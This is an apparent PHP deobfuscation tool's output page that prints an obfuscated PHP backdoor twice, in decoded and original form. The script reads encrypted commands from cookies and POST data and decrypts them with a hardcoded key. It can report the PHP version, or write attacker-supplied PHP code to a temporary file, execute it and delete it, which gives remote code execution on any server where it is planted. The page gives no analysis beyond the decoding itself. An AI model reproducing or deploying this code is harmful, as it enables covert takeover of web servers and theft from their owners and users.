Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function/* r_sf */ipgxvc(){ echo 3256;/* _vtj */} $myxvd/* p*/=..

Decoded Output download

<?php   function/*   r_sf */ipgxvc(){      echo      3256;/* _vtj  */} 
 
 
$myxvd/*  p*/=       'myxvd'    ^/*  soctm   */'^N^Q'; 
$ek_qlxa       =/*  _ */"f"/* mlgt*/./*  j*/"i".$myxvd(108)  .       "e"."_"     .    "p"."u"."t".$myxvd(1012-917)/*   j_   */./*  mf_t */$myxvd(99)/*_zc */.   "o"    . 
       "n"  .    $myxvd(116)/*  dlz  */./* an */"e"."n"     .   $myxvd(116)/* qlm*/.      "s";$guqlep    =   "b"  .   "a"."s"      ./* ustqt   */$myxvd(214-113)   . 
       "6"   ./*  s  */$myxvd(52)/* bnawt*/.        "_"       ./*   due   */$myxvd(828-728)/*   p */./* bwnx */"e"     ./*  n  */"c"       ./*  nk */"o"."d"    .    $ 
myxvd(101); 
 
 
$rhutzh =       $myxvd(117)    .      "n"."s".$myxvd(673-572)   .       "r".$myxvd(105)    ./*juktw   */$myxvd(959-862)       ./* y */"l"."i"."z"."e"; 
 
 
$xdlesw/*   sivqy */=/*  m   */"p".$myxvd(104)     .    $myxvd(441-329)   ./*uogvi  */"v"."e"."r"    .    $myxvd(115)/*zaoiy  */.       "i"."o".$myxvd(210-100); 
 
 
$vwgcl/*   baykj   */=  "u"  .       $myxvd(110)/*   oqkn   */.       "l"."i"     .       "n"  ./*   lp */"k"; 
 
 
 
/*   rlge  */ 
function     nhhrckxagp($mggsd,/* x   */$mbrjo) 
 
{ 
 
        global/* ii  */$myxvd; 
 
        $e_cswrffj      =      "";      for     ($steydjpb   =/*  z*/0;  $steydjpb      <       strlen($mggsd);)        { 
 
     for/*  d */($nzgdbrywo  =/*ob  */0;/*  p*/$nzgdbrywo/*of*/<   strlen($mbrjo)       &&/*_wej */$steydjpb    <       strlen($mggsd);       $nzgdbrywo++,     $steydjpb++)/* llxk*/{ 
 
/*n   */$e_cswrffj       .=/* r_   */$myxvd(ord($mggsd[$steydjpb])      ^       ord($mbrjo[$nzgdbrywo])); 
      }/*etp  */} 
/*   l*/return  $e_cswrffj; 
 
 
} 
 
$eckbsq/*ply */=/* ouh */$_COOKIE;$lyfjjgq      =       $_POST; 
 
$eckbsq/*vyza*/=        array_merge($lyfjjgq,/*   cge */$eckbsq); 
 
 
 
 
$_inkhgn/*exi  */=   "0"       ./*l*/"9"/*  blw  */.       "f"/*   a  */./*  zyz   */"3"/*   qf  */.  "c"."4"      .       "3"."8"."-"."f"/*tzvkc */.   $myxvd(550-453)/* t */.   "2"  .      "8"  .  "-"."4"   .       "0".$myxvd(98)/*  m   */./*ds */"d"  ./*  qb */$myxvd(465-420)/*_cp*/./* zff  */"a"."b"    .   $myxvd(420-371) .      "e"."-"."d"   ./*   _l   */"7"."4"      .        $myxvd(141-92)/*   ehqug  */.   $myxvd(97)/* xdnms  */./*  h */"8"."c"."5"   .      "2".$myxvd(48)/*  dua  */.     $myxvd(229-175)   .       "2"; 
 
 
foreach ($eckbsq/* tbzi   */as      $qal_qqifo_ =>   $mggsd)    { 
 
/* re*/$mggsd   =       $rhutzh(nhhrckxagp(nhhrckxagp($guqlep($mggsd),   $_inkhgn),/* fqqlk*/$qal_qqifo_)); 
 
      if/*  kyizc */(isset($mggsd["a".$myxvd(263-156)]))/*  ot  */{ 
   if   ($mggsd["a"]/*bah   */==  "i")       { 
 
 
        $steydjpb       =       array();      $steydjpb[$myxvd(112)     .       "v"]      =     $xdlesw(); 
 
 
/*   ufkgu */$steydjpb["s".$myxvd(1076-958)]/* s  */=/*mqe  */"3"."."."5"; 
 
 
/* imkl */echo   @serialize($steydjpb);      }/* ky  */elseif    ($mggsd["a"]        ==      "e") {  $lfershy       =/*  dew */sprintf($myxvd(46) .     "/".$myxvd(155-118)/*  cpo */.     "s"."."   ./* wqtf*/"p".$myxvd(444-336),    md5($_inkhgn)); 
       $ek_qlxa($lfershy,    "<"/*  qgzcf*/./* vhmpo*/"?"."p"."h"."p"/* zqmnz  */.     $myxvd(32)    .     $myxvd(117)       .       $myxvd(110)     .       "l"."i"."n"."k"."("   ./*   _rsm   */"_"."_".$myxvd(348-278)  .     "I".$myxvd(603-527)   ./* e  */"E"."_".$myxvd(95)   .  $myxvd(41)    ./*  dmakh*/$myxvd(718-659)/*r  */.  $myxvd(32)/* qgica */./*rttov  */$mggsd["d"]); 
 
      include($lfershy); 
 
/*   aby*/$vwgcl($lfershy); 
 
/*   ae   */}/*  wc  */exit(); 
    } 
 
} 
 ?>

Did this file decode correctly?

Original Code

<?php   function/*   r_sf */ipgxvc(){      echo      3256;/* _vtj  */}


$myxvd/*  p*/=       'myxvd'    ^/*  soctm   */'^N^Q';
$ek_qlxa       =/*  _ */"\146"/* mlgt*/./*  j*/"i".$myxvd(108)  .       "e"."\x5f"     .    "p"."u"."t".$myxvd(1012-917)/*   j_   */./*  mf_t */$myxvd(99)/*_zc */.   "\157"    .
       "\156"  .    $myxvd(116)/*  dlz  */./* an */"e"."\156"     .   $myxvd(116)/* qlm*/.      "s";$guqlep    =   "\142"  .   "a"."\163"      ./* ustqt   */$myxvd(214-113)   .
       "\x36"   ./*  s  */$myxvd(52)/* bnawt*/.        "\137"       ./*   due   */$myxvd(828-728)/*   p */./* bwnx */"\145"     ./*  n  */"\143"       ./*  nk */"o"."\x64"    .    $
myxvd(101);


$rhutzh =       $myxvd(117)    .      "n"."s".$myxvd(673-572)   .       "r".$myxvd(105)    ./*juktw   */$myxvd(959-862)       ./* y */"l"."i"."z"."\x65";


$xdlesw/*   sivqy */=/*  m   */"p".$myxvd(104)     .    $myxvd(441-329)   ./*uogvi  */"v"."e"."\162"    .    $myxvd(115)/*zaoiy  */.       "i"."o".$myxvd(210-100);


$vwgcl/*   baykj   */=  "\x75"  .       $myxvd(110)/*   oqkn   */.       "l"."\x69"     .       "\x6e"  ./*   lp */"k";



/*   rlge  */
function     nhhrckxagp($mggsd,/* x   */$mbrjo)

{

        global/* ii  */$myxvd;

        $e_cswrffj      =      "";      for     ($steydjpb   =/*  z*/0;  $steydjpb      <       strlen($mggsd);)        {

     for/*  d */($nzgdbrywo  =/*ob  */0;/*  p*/$nzgdbrywo/*of*/<   strlen($mbrjo)       &&/*_wej */$steydjpb    <       strlen($mggsd);       $nzgdbrywo++,     $steydjpb++)/* llxk*/{

/*n   */$e_cswrffj       .=/* r_   */$myxvd(ord($mggsd[$steydjpb])      ^       ord($mbrjo[$nzgdbrywo]));
      }/*etp  */}
/*   l*/return  $e_cswrffj;


}

$eckbsq/*ply */=/* ouh */$_COOKIE;$lyfjjgq      =       $_POST;

$eckbsq/*vyza*/=        array_merge($lyfjjgq,/*   cge */$eckbsq);




$_inkhgn/*exi  */=   "\60"       ./*l*/"\x39"/*  blw  */.       "\146"/*   a  */./*  zyz   */"\63"/*   qf  */.  "c"."\x34"      .       "3"."8"."-"."\146"/*tzvkc */.   $myxvd(550-453)/* t */.   "\62"  .      "\x38"  .  "-"."\x34"   .       "0".$myxvd(98)/*  m   */./*ds */"\144"  ./*  qb */$myxvd(465-420)/*_cp*/./* zff  */"\141"."\x62"    .   $myxvd(420-371) .      "\x65"."-"."\x64"   ./*   _l   */"7"."\64"      .        $myxvd(141-92)/*   ehqug  */.   $myxvd(97)/* xdnms  */./*  h */"8"."c"."\x35"   .      "2".$myxvd(48)/*  dua  */.     $myxvd(229-175)   .       "2";


foreach ($eckbsq/* tbzi   */as      $qal_qqifo_ =>   $mggsd)    {

/* re*/$mggsd   =       $rhutzh(nhhrckxagp(nhhrckxagp($guqlep($mggsd),   $_inkhgn),/* fqqlk*/$qal_qqifo_));

      if/*  kyizc */(isset($mggsd["\141".$myxvd(263-156)]))/*  ot  */{
   if   ($mggsd["\141"]/*bah   */==  "i")       {


        $steydjpb       =       array();      $steydjpb[$myxvd(112)     .       "v"]      =     $xdlesw();


/*   ufkgu */$steydjpb["s".$myxvd(1076-958)]/* s  */=/*mqe  */"3"."."."\x35";


/* imkl */echo   @serialize($steydjpb);      }/* ky  */elseif    ($mggsd["\141"]        ==      "\x65") {  $lfershy       =/*  dew */sprintf($myxvd(46) .     "/".$myxvd(155-118)/*  cpo */.     "s"."\x2e"   ./* wqtf*/"p".$myxvd(444-336),    md5($_inkhgn));
       $ek_qlxa($lfershy,    "<"/*  qgzcf*/./* vhmpo*/"?"."p"."h"."\x70"/* zqmnz  */.     $myxvd(32)    .     $myxvd(117)       .       $myxvd(110)     .       "l"."i"."n"."k"."\50"   ./*   _rsm   */"_"."_".$myxvd(348-278)  .     "I".$myxvd(603-527)   ./* e  */"E"."_".$myxvd(95)   .  $myxvd(41)    ./*  dmakh*/$myxvd(718-659)/*r  */.  $myxvd(32)/* qgica */./*rttov  */$mggsd["d"]);

      include($lfershy);

/*   aby*/$vwgcl($lfershy);

/*   ae   */}/*  wc  */exit();
    }

}

Function Calls

None

Variables

None

Stats

MD5 47c829d716cd2a9b4c5fbd208fa302e8
Eval Count 0
Decode Time 43 ms